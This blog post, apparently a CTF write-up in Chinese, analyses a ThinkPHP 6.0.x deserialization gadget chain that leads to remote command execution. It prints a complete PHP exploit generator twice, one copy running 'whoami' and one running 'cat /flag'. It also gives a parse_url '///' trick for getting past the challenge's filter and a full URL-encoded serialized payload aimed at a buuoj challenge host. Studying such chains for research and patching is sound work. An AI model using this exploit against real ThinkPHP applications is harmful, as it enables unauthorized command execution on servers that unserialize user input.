Thinkphp6.0.x反序列化

分析

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()


后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

vendor/topthink/think-orm/src/Model.php

Model类中存在__destruct()方法,令$this->lazySave等于true,调用save()。Model类为抽象类,利用的时候要用它的子类Pivot

跟进save()函数,触发点位于updateData函数内,首先需要构造参数防止函数直接返回,才能进入updateData()函数

需要满足三个条件才能进入updateData()

1.$this->exists为true

2.isEmpty()需要返回false,给$this->data赋值即可

3.trigger()需要返回true,让$this->withEvent等于false

checkAllowFields()触发__toString(),需要构造参数防止提前return,第一个if条件已经满足。第二个if,需要empty($data)等于false

/vendor/topthink/think-orm/src/model/concern/Attribute.php

跟进getChangeData()方法,让$this->force$this->data都有值就可以

需要先满足$this->field为空、$this->schema为空两个条件才能调用$this->db()

db()方法中出现了拼接字符串操作,触发__toString(),需要先让$this->connection等于mysql

接下来就是原来tp5的__toString利用链,由于model\concern\Conversion是一个trait复用类,所以只要在Model下use即可

vendor/topthink/think-orm/src/model/concern/Conversion.php

存在__toString()方法,调用toJson()

跟进toJson(),调用__toArray()

toArray()

vendor/topthink/think-orm/src/model/concern/Attribute.php

getAttr()函数,调用getValue()

getData()

getRealFieldName()$this->strict等于true返回$name,这样getData()方法就会返回$this->data[$name]

getValue()函数中存在命令执行,当$this->withAttr[$fieldName]不为数组的时候触发。

利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["xxx" => "system"];
public function get()
{
$this->data = ["xxx" => "whoami"];
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}

本地测试

[安洵杯 2019]iamthinking

存在备份文件www.zip

查看源码得到版本为thinkphp6,查看控制器,发现存在unserialize。过滤了O开头的字符串,可以根据parse_url的特性绕过,在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false。

在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["xxx" => "system"];
public function get()
{
$this->data = ["xxx" => "cat /flag"];
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}

利用反序列化漏洞,得到flag

1
http://c9c7cb46-f78b-4359-a3b6-7cfc292d6693.node3.buuoj.cn///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A6%3A%22system%22%3B%7D%7D

参考

https://www.cnblogs.com/20175211lyz/p/12203047.html

https://forum.90sec.com/t/topic/1160


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!